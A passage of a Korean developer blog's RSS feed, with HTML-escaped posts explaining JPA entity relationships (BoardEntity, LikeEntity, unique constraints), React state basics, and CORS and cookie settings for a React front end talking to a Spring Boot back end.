&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MemberEntity에서 설명한 어노테이션은 제외하고 중요한 어노테이션에 대해서만 보도록 하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 BoardEntity에 writer 필드가 존재한다. 해당 필드에 어노테이션으로 @ManyToOne과 JoinColumn이 달려있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시물 마다 작성자가 존재하므로 테이블간의 JOIN 설정을 필요로 하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Board를 기점으로 MemberEntity는 N:1 구조이므로 @ManyToOne 어노테이션을 사용한다. 그리고 JoinColumn 어노테이션을 통해서 해당 필드가 테이블 생성시에 어떤 필드명을 가지도록 할껀지 설정한다. 조인 설정 시에는 MemberEntity의 기본키 값이 writer 필드에 받아와지므로, writerNo이라는 이름으로 필드명을 설정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fetch 옵션의 경우 LAZY 타입과 EAGER 타입을 설정할 수 있는데 지연로딩 방식과 즉시로딩 방식을 설정한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 내용에 대해서는 넘어가고 다른 게시물에서 다루도록 하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 아래에 추가로 @OneToMany 어노테이션의 likeEntityList가 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시물을 기준으로 해당 게시물에 어떤 사용자들이 좋아요를 눌렀는지를 담기위한 필드로 mappedBy 옵션에는 LikeEntity에서 필드명으로 가지고있는 boardEntity와 연관되어있으므로 boardEntity로 설정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1182&quot; data-origin-height=&quot;579&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c2NpzA/btsQlrNp4ch/NkXlofeBfo0EuQLBRqXk81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c2NpzA/btsQlrNp4ch/NkXlofeBfo0EuQLBRqXk81/img.png&quot; data-alt=&quot;BoardEntity의 기본생성자와 from 메서드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c2NpzA/btsQlrNp4ch/NkXlofeBfo0EuQLBRqXk81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc2NpzA%2FbtsQlrNp4ch%2FNkXlofeBfo0EuQLBRqXk81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1182&quot; height=&quot;579&quot; data-origin-width=&quot;1182&quot; data-origin-height=&quot;579&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardEntity의 기본생성자와 from 메서드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MemberEntity와 동일하게 delYn과 createdAt 기본값 설정 및 dto로 받아온 게시물 정보에 대해서 영속성 컨텍스트로 다루기 위한 Entity 객체로의 형변환을 위한 from 메서드가 정의되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[LikeEntity]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1550&quot; data-origin-height=&quot;1062&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnhVJB/btsQkpJyfs2/Pwfa7Omk3fUTCDkBrOKqIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnhVJB/btsQkpJyfs2/Pwfa7Omk3fUTCDkBrOKqIK/img.png&quot; data-alt=&quot;LikeEntity&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnhVJB/btsQkpJyfs2/Pwfa7Omk3fUTCDkBrOKqIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnhVJB%2FbtsQkpJyfs2%2FPwfa7Omk3fUTCDkBrOKqIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1550&quot; height=&quot;1062&quot; data-origin-width=&quot;1550&quot; data-origin-height=&quot;1062&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;LikeEntity&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@Table 어노테이션에 대해서 이미 다루었지만 옵션에 추가된 내용이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;uniqueConstraints 두가지 이상의 필드묶음에 대해서 유니크 제약조건을 달아주는 것으로, ColumnNames 옵션으로&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중괄호 안에 연관하여 유니크 제약조건을 달아주고 싶은 필드에 대해서 나열하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Like 테이블에서는 어떤 사용자가 어떤 게시물에 좋아요를 눌렀는지에 대해서 데이터가 쌓이는 구조인데,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 사용자가 동일한 게시물에 좋아요를 2번 누를 수 없기 때문에 1-1, 1-1과같은 데이터가 중복으로 있어서는 안된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 UniqueConstraint 옵션을 통해서 memberNo와 boardNo 를 설정하여 위와 같은 중복이 없도록 제약조건을 설정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 테이블에 1-1 1-2, 2-1 2-2 2-3, 3-1 .. 이런식으로 데이터가 쌓이는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LikeEntity를 기준으로 MemberEntity와 BoardEntity는 N:1 관계이므로 @ManyToOne 어노테이션이 설정이 각각 되어있고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@JoinColumn을 통해서 테이블에 어떤 필드명으로 적힐지에 대해서 name 옵션이 설정되어 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;memberEntity와 boardEntity에 기본키인 번호가 데이터로 참조되므로 memberNo와 boardNo로 설정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 from 메서드로 특정 사용자, 특정 게시물에 대한 Entity를 파라미터로 LikeEntity를 생성해서 반환하는 메서드가 정의되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>JPA</category>
      <author>jongh0</author>
      <guid isPermaLink="true">https://dev-jong.tistory.com/28</guid>
      <comments>https://dev-jong.tistory.com/28#entry28comment</comments>
      <pubDate>Fri, 5 Sep 2025 12:20:27 +0900</pubDate>
    </item>
    <item>
      <title>[React] React 란? + State에 대한 이해 (1)</title>
      <link>https://dev-jong.tistory.com/27</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;React&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리액트는 자바스크립트 라이브러리의 하나로서 사용자 인터페이스를 만들기 위해 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 프론트엔드에 기초를 배울때 했던 HTML/CSS와 대체 뭐가 다른 것인지 인지해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React는 화면구성에 있어서 컴포넌트 단위로 만들기 위한 컴포넌트 라이브러리 라고 할 수 있다. 다른 특별한 템플릿 언어가 아닌 JavaScript를 이용해서 만든다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 말해서 기능을 넣은 특정한 UI 부분을 따로 구성하고 모듈화 시켰다고 볼 수 있다. 이러한 독립적인 모듈 하나 하나를 컴포넌트라고 지칭하고 개발자가 컴포넌트 요소 하나하나를 조립해서 전체적인 UI를 구현하는 것이 리액트의 방향이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 React의 장점은 무엇일까 ?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 재사용성, 유지보수성에서 뛰어남&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- UI를 독립적인 컴포넌트 단위로 쪼개서 개발이 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 버튼, 모달, 카드 같은 UI 요소를 한 번 만들어두면 여러 곳에서 활용이 가능함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. Virtual Dom을 통한 성능 최적화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 리액트는 직접 DOM을 조작하지 않고 Virtual Dom을 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 변경된 부분에 대해서만 효율적으로 업데이트 하므로, 불필요한 렌더링을 최소화 할 수 있음(비동기 처리) -&amp;gt; 빠른 UI 반응 속도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 단방향 데이터 흐름 (One-way Data Binding)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 데이터가 부모에서 자식으로 흐르는 방향으로 데이터 추적이 쉬워지고, 버그를 줄일 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 예측 가능한 구조 덕분에 대규모 프로젝트에서도 관리가 용이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. JSX 문법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTML과 JavaScript를 하나의 파일에서 직관적으로 작성 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- UI 구조를 코드에서 쉽게 표현 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에 장점에서 다른 2번째 Virtual DOM 사용에 대한 장점 요소가 처음 리액트를 접했을 때, 쉽게 와닿지 않을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리액트에서는 화면 변화에 있어서 비동기처리를 위해서는 state에 대해서 알아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;State에 대해서 알아보자,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면 변화 요소를 다루기 위해서는 state를 필요로 하는데 useState() 메서드를 통해서 불러올 수 있다. 파라미터로 state에 대한 초기값 value를 설정할 수 있다. 메서드의 반환으로 배열타입의 2개의 데이터를 반환하는데 변수 state와 메서드 setState()를 반환하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;state에 대해서 직접 값을 변경하는 것은 의미가 없다. 왜냐하면 화면 렌더링이 되어야지 return에 존재하는 화면 출력이 바뀌는데 단순히 state에 대해서 값을 변경함에 있어서 렌더링이 일어나지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;렌더링을 시키기 위해서는 2번쨰 파라미터로 받은 setState() 메서드를 사용하게되면 된다. setState() 메서드에 파라미터로 값을 지정하면 state 값이 변하게 되고, 변화되는 즉시 state를 생성하는데 사용했던 useState() 메서드가 존재하는 컴포넌트 전체가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비동기 렌더링이 진행되면서 화면 깜빡임 없이 즉각적으로 화면 렌더링이 일어난다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>React</category>
      <author>jongh0</author>
      <guid isPermaLink="true">https://dev-jong.tistory.com/27</guid>
      <comments>https://dev-jong.tistory.com/27#entry27comment</comments>
      <pubDate>Mon, 1 Sep 2025 11:29:17 +0900</pubDate>
    </item>
    <item>
      <title>[JPA] React 브라우저 서버 / Spring boot 서버 연동 시, 쿠키 / Session 설정 (3)</title>
      <link>https://dev-jong.tistory.com/26</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;React에서 프론트엔드 부분의 브라우저 서버를 단독 포트를 가진 서버를 열게되고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Spring boot에서도 서버도 단독으로 포트를 가진 서버를 열게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;339&quot; data-origin-height=&quot;100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beRuI2/btsP7AjnR2k/5ItSakbUoxQ1PO5a5iTGdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beRuI2/btsP7AjnR2k/5ItSakbUoxQ1PO5a5iTGdK/img.png&quot; data-alt=&quot;react + vite 를 통한 로컬서버 포트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beRuI2/btsP7AjnR2k/5ItSakbUoxQ1PO5a5iTGdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeRuI2%2FbtsP7AjnR2k%2F5ItSakbUoxQ1PO5a5iTGdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;339&quot; height=&quot;100&quot; data-origin-width=&quot;339&quot; data-origin-height=&quot;100&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;react + vite 를 통한 로컬서버 포트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;819&quot; data-origin-height=&quot;110&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lB8VY/btsP9aYnwM4/SZFYm4lsQQ5cZfbmfdxJh1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lB8VY/btsP9aYnwM4/SZFYm4lsQQ5cZfbmfdxJh1/img.png&quot; data-alt=&quot;Spring boot를 통한 로컬서버 포트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lB8VY/btsP9aYnwM4/SZFYm4lsQQ5cZfbmfdxJh1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlB8VY%2FbtsP9aYnwM4%2FSZFYm4lsQQ5cZfbmfdxJh1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;819&quot; height=&quot;110&quot; data-origin-width=&quot;819&quot; data-origin-height=&quot;110&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Spring boot를 통한 로컬서버 포트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션 + 쿠키를 통해서 로그인 기능을 구현하려고 할 때,&amp;nbsp; 기존에는 JDBC에서 프론트엔드 코드가 동일한 프로젝트 내에 JSP 파일로 존재해서 같은 포트내에서 적용되고 있었다. 그래서 같은 포트 번호내에서 존재한 프론트엔드와 백엔드 코드간의 세션에 있어서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JAVA를 통한 HttpSession 클래스에 세션을 setAttribute() 메서드를 통해서 session을 생성하게되면 JSP 파일로 열린 브라우저 내에 어플리케이션 정보의 세션에 등록이 되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 별로의 포트로 열린 리액트 / spring boot 의 구조에서는 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;spring boot 서버측에서 세션을 등록해도 다른 포트번호로 별로도 열린 리액트 브라우저 서버에서 세션이 등록되지 않는다. 그저 spring boot 서버 내에서 생성이 되었고 리액트 브라우저에서는 세션이 등록된 줄 모르고 있다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것은 CORS(Cross-Origin Resource Sharing) 설정을 통해서 해결할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서로 다른 포트에 있어서 세션을 등록할 때, 브라우저 단에 세션을 등록해주기 위해서는 Spring boot 쪽에서&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어플리케이션 시작 시 설정을 반영하는 @Configuration 을 통해서 설정을 해주어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;633&quot; data-origin-height=&quot;290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/91xEh/btsP65jSHHi/K3gWtKnKWPed0uRjBYE0p1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/91xEh/btsP65jSHHi/K3gWtKnKWPed0uRjBYE0p1/img.png&quot; data-alt=&quot;WebConfig&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/91xEh/btsP65jSHHi/K3gWtKnKWPed0uRjBYE0p1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F91xEh%2FbtsP65jSHHi%2FK3gWtKnKWPed0uRjBYE0p1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;633&quot; height=&quot;290&quot; data-origin-width=&quot;633&quot; data-origin-height=&quot;290&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;WebConfig&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;628&quot; data-start=&quot;556&quot;&gt;&lt;b&gt;@Configuration&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;628&quot; data-start=&quot;585&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;628&quot; data-start=&quot;585&quot;&gt;Spring Bean으로 등록되어 애플리케이션 시작 시 설정을 반영&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;711&quot; data-start=&quot;630&quot;&gt;&lt;b&gt;implements WebMvcConfigurer&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;711&quot; data-start=&quot;672&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;707&quot; data-start=&quot;672&quot;&gt;Spring MVC 설정을 커스터마이징할 수 있도록 해줌&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;801&quot; data-start=&quot;712&quot;&gt;&lt;b&gt;addCorsMappings&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;801&quot; data-start=&quot;742&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;773&quot; data-start=&quot;742&quot;&gt;특정 URL 패턴에 대해 CORS 정책을 적용&lt;/li&gt;
&lt;li data-end=&quot;801&quot; data-start=&quot;777&quot;&gt;&quot;**&quot; 는 모든 경로를 의미&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;936&quot; data-start=&quot;803&quot;&gt;&lt;b&gt;allowedOrigins&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;936&quot; data-start=&quot;832&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;855&quot; data-start=&quot;832&quot;&gt;허용할 클라이언트 도메인을 지정&lt;/li&gt;
&lt;li data-end=&quot;936&quot; data-start=&quot;859&quot;&gt;주의: allowCredentials(true)와 함께 &quot;*&quot;를 쓰면 오류가 납니다. 반드시 구체적인 도메인을 명시&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1023&quot; data-start=&quot;938&quot;&gt;&lt;b&gt;allowedMethods&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1023&quot; data-start=&quot;967&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1023&quot; data-start=&quot;967&quot;&gt;요청 허용 HTTP 메서드 지정. OPTIONS도 포함해야 preflight 요청 처리 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1094&quot; data-start=&quot;1025&quot;&gt;&lt;b&gt;allowCredentials(true)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1094&quot; data-start=&quot;1062&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1094&quot; data-start=&quot;1062&quot;&gt;브라우저에서 쿠키, 인증 헤더 등을 포함한 요청 허용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;473&quot; data-origin-height=&quot;349&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJgtUv/btsP5Gkpy1G/O42LyFccU7yONrxqexYQM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJgtUv/btsP5Gkpy1G/O42LyFccU7yONrxqexYQM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJgtUv/btsP5Gkpy1G/O42LyFccU7yONrxqexYQM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJgtUv%2FbtsP5Gkpy1G%2FO42LyFccU7yONrxqexYQM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;473&quot; height=&quot;349&quot; data-origin-width=&quot;473&quot; data-origin-height=&quot;349&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가로 세션에 담긴 쿠키/인증 정보를 포함해서 Cross-Origin 요청을 보내기 위해서는 다음과 같이&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fetch 함수 내에 두번째 파라미터로 사용되는 option 객체에서 credentials 필드를 'include'로 설정해주어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;값설명&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;486&quot; data-start=&quot;298&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;486&quot; data-start=&quot;323&quot;&gt;
&lt;tr data-end=&quot;367&quot; data-start=&quot;323&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;334&quot; data-start=&quot;323&quot;&gt;&quot;omit&quot;&lt;/td&gt;
&lt;td data-end=&quot;367&quot; data-start=&quot;334&quot; data-col-size=&quot;md&quot;&gt;쿠키나 인증 정보를 &lt;b&gt;보내지 않음&lt;/b&gt; (기본 아님)&lt;/td&gt;
&lt;/tr&gt;
